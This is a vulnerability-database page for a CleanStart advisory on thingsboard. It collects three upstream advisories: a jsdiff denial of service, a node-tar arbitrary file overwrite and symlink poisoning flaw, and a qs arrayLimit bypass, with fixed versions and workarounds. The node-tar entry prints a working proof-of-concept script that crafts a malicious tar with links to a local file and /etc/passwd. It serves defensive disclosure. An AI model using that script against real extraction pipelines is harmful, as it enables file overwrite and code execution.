Vulnerability-Lookup

Vulnerability from cleanstart

Published

2026-02-24 00:44

Modified

2026-02-23 12:58

Summary

Security fixes for GHSA-6rw7-vpxm-498p, GHSA-73rr-hh4g-fpgx, GHSA-8qq5-rm4j-mr97 applied in versions: 4.2.1.1-r1

Details

Multiple security vulnerabilities affect the thingsboard package. These issues are resolved in later releases. See references for individual vulnerability details.

References

URL

Type

	https://github.com/cleanstart-dev/cleanstart-secu…	ADVISORY
	https://osv.dev/vulnerability/GHSA-6rw7-vpxm-498p	WEB
	https://osv.dev/vulnerability/GHSA-73rr-hh4g-fpgx	WEB
	https://osv.dev/vulnerability/GHSA-8qq5-rm4j-mr97	WEB

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "thingsboard"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.1.1-r1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Multiple security vulnerabilities affect the thingsboard package. These issues are resolved in later releases. See references for individual vulnerability details.",
  "id": "CLEANSTART-2026-SP64433",
  "modified": "2026-02-23T12:58:32Z",
  "published": "2026-02-24T00:44:51.180009Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-SP64433.json"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/GHSA-6rw7-vpxm-498p"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/GHSA-73rr-hh4g-fpgx"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/GHSA-8qq5-rm4j-mr97"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "summary": "Security fixes for GHSA-6rw7-vpxm-498p, GHSA-73rr-hh4g-fpgx, GHSA-8qq5-rm4j-mr97 applied in versions: 4.2.1.1-r1",
  "upstream": [
    "GHSA-6rw7-vpxm-498p",
    "GHSA-73rr-hh4g-fpgx",
    "GHSA-8qq5-rm4j-mr97"
  ]
}

GHSA-73RR-HH4G-FPGX

Vulnerability from github – Published: 2026-01-14 21:34 – Updated: 2026-01-30 17:13

Summary

jsdiff has a Denial of Service vulnerability in parsePatch and applyPatch

Details

Impact

Attempting to parse a patch whose filename headers contain the line break characters \r, \u2028, or \u2029 can cause the parsePatch method to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory.

Applications are therefore likely to be vulnerable to a denial-of-service attack if they call parsePatch with a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when calling parsePatch on a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed).

The applyPatch method is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string using parsePatch. Other methods of the library are unaffected.

Finally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch's patch header (also known as its "leading garbage"). A maliciously-crafted patch header of length n can take parsePatch O(n³) time to parse.

Patches

All vulnerabilities described are fixed in v8.0.3.

Workarounds

If using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters: \r, \u2028, or \u2029.

References

PR that fixed the bug: https://github.com/kpdecker/jsdiff/pull/649

CVE Notes

Note that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to parsePatch can cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.

Severity ?

2.7 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "diff"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "8.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "diff"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "diff"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "diff"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24001"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-14T21:34:12Z",
    "nvd_published_at": "2026-01-22T03:15:47Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nAttempting to parse a patch whose filename headers contain the line break characters `\\r`, `\\u2028`, or `\\u2029` can cause the `parsePatch` method to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory.\n\nApplications are therefore likely to be vulnerable to a denial-of-service attack if they call `parsePatch` with a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when calling `parsePatch` on a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed).\n\nThe `applyPatch` method is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string using `parsePatch`. Other methods of the library are unaffected.\n\nFinally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch\u0027s *patch* header (also known as its \"leading garbage\"). A maliciously-crafted patch header of length *n* can take `parsePatch` O(*n*\u00b3) time to parse.\n\n### Patches\n\nAll vulnerabilities described are fixed in v8.0.3.\n\n### Workarounds\n\nIf using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters: `\\r`, `\\u2028`, or `\\u2029`.\n\n### References\n\nPR that fixed the bug: https://github.com/kpdecker/jsdiff/pull/649\n\n\n### CVE Notes\n\nNote that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to `parsePatch` can cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.",
  "id": "GHSA-73rr-hh4g-fpgx",
  "modified": "2026-01-30T17:13:35Z",
  "published": "2026-01-14T21:34:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kpdecker/jsdiff/security/advisories/GHSA-73rr-hh4g-fpgx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24001"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kpdecker/jsdiff/issues/653"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kpdecker/jsdiff/pull/649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kpdecker/jsdiff/commit/15a1585230748c8ae6f8274c202e0c87309142f5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kpdecker/jsdiff"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jsdiff has a Denial of Service vulnerability in parsePatch and applyPatch"
}

GHSA-8QQ5-RM4J-MR97

Vulnerability from github – Published: 2026-01-16 21:16 – Updated: 2026-02-18 23:43

Summary

node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization

Details

Summary

The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.

Details

The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.

1. Hardlink Escape (Arbitrary File Overwrite)

The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.

The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.

2. Symlink Poisoning

The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.

PoC

The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.

const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')

    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

Impact

Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.)

Severity ?

8.2 (High)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23745"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-16T21:16:20Z",
    "nvd_published_at": "2026-01-16T22:16:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `node-tar` library (`\u003c= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets.\n\n### Details\n\nThe vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.\n\n**1. Hardlink Escape (Arbitrary File Overwrite)**\n\nThe extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.\n\nThe library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.\n\n**2. Symlink Poisoning**\n\nThe extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.\n\n### PoC\n\nThe following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local \"secret\" file was successfully overwritten.\n\n```javascript\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst tar = require(\u0027tar\u0027)\n\nconst out = path.resolve(\u0027out_repro\u0027)\nconst secret = path.resolve(\u0027secret.txt\u0027)\nconst tarFile = path.resolve(\u0027exploit.tar\u0027)\nconst targetSym = \u0027/etc/passwd\u0027\n\n// Cleanup \u0026 Setup\ntry { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}\nfs.mkdirSync(out)\nfs.writeFileSync(secret, \u0027ORIGINAL_DATA\u0027)\n\n// 1. Craft malicious Link header (Hardlink to absolute local file)\nconst h1 = new tar.Header({\n  path: \u0027exploit_hard\u0027,\n  type: \u0027Link\u0027,\n  size: 0,\n  linkpath: secret \n})\nh1.encode()\n\n// 2. Craft malicious Symlink header (Symlink to /etc/passwd)\nconst h2 = new tar.Header({\n  path: \u0027exploit_sym\u0027,\n  type: \u0027SymbolicLink\u0027,\n  size: 0,\n  linkpath: targetSym \n})\nh2.encode()\n\n// Write binary tar\nfs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))\n\nconsole.log(\u0027[*] Extracting malicious tarball...\u0027)\n\n// 3. Extract with default secure settings\ntar.x({\n  cwd: out,\n  file: tarFile,\n  preservePaths: false\n}).then(() =\u003e {\n  console.log(\u0027[*] Verifying payload...\u0027)\n\n  // Test Hardlink Overwrite\n  try {\n    fs.writeFileSync(path.join(out, \u0027exploit_hard\u0027), \u0027OVERWRITTEN\u0027)\n    \n    if (fs.readFileSync(secret, \u0027utf8\u0027) === \u0027OVERWRITTEN\u0027) {\n      console.log(\u0027[+] VULN CONFIRMED: Hardlink overwrite successful\u0027)\n    } else {\n      console.log(\u0027[-] Hardlink failed\u0027)\n    }\n  } catch (e) {}\n\n  // Test Symlink Poisoning\n  try {\n    if (fs.readlinkSync(path.join(out, \u0027exploit_sym\u0027)) === targetSym) {\n      console.log(\u0027[+] VULN CONFIRMED: Symlink points to absolute path\u0027)\n    } else {\n      console.log(\u0027[-] Symlink failed\u0027)\n    }\n  } catch (e) {}\n})\n\n```\n\n### Impact\n\n* **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.\n* **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)",
  "id": "GHSA-8qq5-rm4j-mr97",
  "modified": "2026-02-18T23:43:46Z",
  "published": "2026-01-16T21:16:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23745"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization"
}

GHSA-6RW7-VPXM-498P

Vulnerability from github – Published: 2025-12-30 21:02 – Updated: 2026-03-02 22:05

Summary

qs's arrayLimit bypass in its bracket notation allows DoS via memory exhaustion

Details

Summary

The arrayLimit option in qs did not enforce limits for bracket notation (a[]=1&a[]=2), only for indexed notation (a[0]=1). This is a consistency bug; arrayLimit should apply uniformly across all array notations.

Note: The default parameterLimit of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than parameterLimit regardless of arrayLimit, because each a[]=value consumes one parameter slot. The severity has been reduced accordingly.

Details

The arrayLimit option only checked limits for indexed notation (a[0]=1&a[1]=2) but did not enforce it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}

Working code (lib/parse.js:175):

else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}

The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC

const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)

Note on parameterLimit interaction: The original advisory's "DoS demonstration" claimed a length of 10,000, but parameterLimit (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000.

Impact

Consistency bug in arrayLimit enforcement. With default parameterLimit, the practical DoS risk is negligible since parameterLimit already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when parameterLimit is explicitly set to a very high value.

Severity ?

3.7 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

6.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "qs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-15284"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-30T21:02:54Z",
    "nvd_published_at": "2025-12-29T23:15:42Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `arrayLimit` option in qs did not enforce limits for bracket notation (`a[]=1\u0026a[]=2`), only for indexed notation (`a[0]=1`). This is a consistency bug; `arrayLimit` should apply uniformly across all array notations.\n\n**Note:** The default `parameterLimit` of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than `parameterLimit` regardless of `arrayLimit`, because each `a[]=value` consumes one parameter slot. The severity has been reduced accordingly.\n\n### Details\n\nThe `arrayLimit` option only checked limits for indexed notation (`a[0]=1\u0026a[1]=2`) but did not enforce it for bracket notation (`a[]=1\u0026a[]=2`).\n\n**Vulnerable code** (`lib/parse.js:159-162`):\n```javascript\nif (root === \u0027[]\u0027 \u0026\u0026 options.parseArrays) {\n    obj = utils.combine([], leaf);  // No arrayLimit check\n}\n```\n\n**Working code** (`lib/parse.js:175`):\n```javascript\nelse if (index \u003c= options.arrayLimit) {  // Limit checked here\n    obj = [];\n    obj[index] = leaf;\n}\n```\n\nThe bracket notation handler at line 159 uses `utils.combine([], leaf)` without validating against `options.arrayLimit`, while indexed notation at line 175 checks `index \u003c= options.arrayLimit` before creating arrays.\n\n### PoC\n\n```javascript\nconst qs = require(\u0027qs\u0027);\nconst result = qs.parse(\u0027a[]=1\u0026a[]=2\u0026a[]=3\u0026a[]=4\u0026a[]=5\u0026a[]=6\u0027, { arrayLimit: 5 });\nconsole.log(result.a.length);  // Output: 6 (should be max 5)\n```\n\n**Note on parameterLimit interaction:** The original advisory\u0027s \"DoS demonstration\" claimed a length of 10,000, but `parameterLimit` (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000.\n\n### Impact\n\nConsistency bug in `arrayLimit` enforcement. With default `parameterLimit`, the practical DoS risk is negligible since `parameterLimit` already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when `parameterLimit` is explicitly set to a very high value.",
  "id": "GHSA-6rw7-vpxm-498p",
  "modified": "2026-03-02T22:05:33Z",
  "published": "2025-12-30T21:02:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15284"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ljharb/qs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "qs\u0027s arrayLimit bypass in its bracket notation allows DoS via memory exhaustion"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

Vulnerability from cleanstart

GHSA-73RR-HH4G-FPGX

Impact

Patches

Workarounds

References

CVE Notes

GHSA-8QQ5-RM4J-MR97

Summary

Details

PoC

Impact

GHSA-6RW7-VPXM-498P

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature